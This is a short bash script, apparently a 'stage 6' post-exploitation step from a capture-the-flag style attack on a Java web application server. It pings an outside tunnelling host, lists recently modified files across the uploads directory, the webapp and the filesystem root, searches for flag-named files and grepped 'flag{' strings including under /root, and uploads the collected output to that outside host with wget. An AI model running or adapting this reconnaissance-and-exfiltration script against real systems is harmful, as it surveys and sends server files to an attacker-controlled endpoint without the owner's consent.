#!/bin/bash
wget -q --post-data=STAGE6_START https://itocu-144-225-109-109.run.pinggy-free.link/stage6_start >/dev/null 2>&1
OUT=/tmp/stage6.txt
{
echo "=== RECENT_NFS"
timeout 30 find /data/webapp/WEB-INF/uploads -type f -newermt '2026-11-10' -printf '%TY-%Tm-%Td %TH:%TM %s %p\n' 2>/dev/null | sort | tail -400
echo "=== RECENT_WEBAPP"
timeout 20 find /data/webapp -maxdepth 4 -type f -newermt '2026-11-10' -not -path '*/uploads/*' -printf '%TY-%Tm-%Td %TH:%TM %s %p\n' 2>/dev/null | sort | tail -200
echo "=== RECENT_ROOT"
timeout 20 find / -maxdepth 3 -type f -newermt '2026-11-10' -not -path '/proc/*' -not -path '/sys/*' -not -path '/data/*' -not -path '/usr/*' -printf '%TY-%Tm-%Td %TH:%TM %s %p\n' 2>/dev/null | sort | tail -100
echo "=== NAME_MATCH"
timeout 20 find /data/webapp/WEB-INF/uploads -maxdepth 5 \( -iname '*osc_ctf*' -o -iname '*flag*' -o -iname '*ctf*' \) -printf '%TY-%Tm-%Td %TH:%TM %s %p\n' 2>/dev/null | sort | tail -100
echo "=== FILES_ROOT"
ls -la /data/webapp/WEB-INF/uploads/files 2>&1 | head -40
echo "=== GREP_NFS"
timeout 30 grep -rEal 'flag\{|OSCTF|osc_ctf|NFS-FILES' /data/webapp/WEB-INF/uploads/files /data/webapp/WEB-INF/uploads/*.txt 2>/dev/null | head -30
echo "=== GREP_WEBAPP"
timeout 20 grep -rEal 'flag\{|OSCTF' /data/webapp/WEB-INF/classes /data/webapp/*.txt /data/*.txt /root 2>/dev/null | head -30
echo "=== DONE6"
} > $OUT 2>&1
wget -q --post-file=$OUT https://itocu-144-225-109-109.run.pinggy-free.link/stage6_upload >/dev/null 2>&1
